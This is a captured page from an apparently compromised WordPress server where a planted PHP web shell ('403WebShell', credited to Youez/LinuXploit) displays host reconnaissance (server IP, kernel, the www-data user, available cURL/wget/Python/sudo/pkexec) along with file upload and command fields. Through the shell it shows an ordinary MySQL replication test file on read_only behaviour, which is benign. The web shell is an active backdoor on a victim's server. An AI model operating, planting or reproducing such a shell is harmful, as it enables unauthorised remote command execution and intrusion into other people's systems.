WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/rpl/t/rpl_read_only.test
# Test case for BUG #11733
-- source include/master-slave.inc
-- source include/have_innodb.inc

call mtr.add_suppression("Unsafe statement written to the binary log using statement format since BINLOG_FORMAT = STATEMENT");

# Create a test and replicate it to slave
connection master;
create user test;
sync_slave_with_master;

# Setting the master readonly :
# - the variable @@readonly is not replicated on the slave

connect (master2,127.0.0.1,test,,test,$MASTER_MYPORT,);
connect (slave2,127.0.0.1,test,,test,$SLAVE_MYPORT,);

connection master1;

create table t1(a int) engine=InnoDB;
create table t2(a int) engine=MyISAM;
insert into t1 values(1001);
insert into t2 values(2001);

connection master;
set global read_only=1;

connection master1;
select @@read_only;
select * from t1;
select * from t2;

sync_slave_with_master;
select @@read_only;
select * from t1;
select * from t2;

# - replication of transactions
connection master;
set global read_only=0;

connection master1;
BEGIN;

connection master2;
BEGIN;

connection master;
select @@read_only;
set global read_only=1;

connection master1;
-- echo *** On SUPER USER connection ***
insert into t1 values(1002);
--disable_warnings
insert into t2 values(2002);
--enable_warnings

connection master2;
-- echo *** On regular USER connection ***
--error ER_OPTION_PREVENTS_STATEMENT
insert into t1 values(1003);
--error ER_OPTION_PREVENTS_STATEMENT
insert into t2 values(2003);

connection master1;
## works even with read_only=1, because master1 is root
-- echo *** SUPER USER COMMIT (must succeed) *** 
COMMIT;

connection master2;
-- echo *** regular USER COMMIT (must succeed - nothing to commit) *** 
COMMIT;

connection master;
select @@read_only;
set global read_only=0;

connection master1;
insert into t1 values(1004);
insert into t2 values(2004);

select * from t1;
select * from t2;

sync_slave_with_master;
select * from t1;
select * from t2;

# Setting the slave readonly : replication will pass
# 
connection slave1;
set global read_only=1;

connection slave;
select @@read_only;
# Make sure the replicated table is also transactional
show create table t1;
# Make sure the replicated table is not transactional
show create table t2;

connection master;
insert into t1 values(1005);
insert into t2 values(2005);
select * from t1;
select * from t2;

sync_slave_with_master;
connection slave;
select * from t1;
select * from t2;

# Non root user can not write on the slave
connection slave2;
--error ER_OPTION_PREVENTS_STATEMENT
insert into t1 values(1006);
--error ER_OPTION_PREVENTS_STATEMENT
insert into t2 values(2006);

## Cleanup
connection master;
drop user test;
drop table t1;
drop table t2;
sync_slave_with_master;
set global read_only=0;


--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit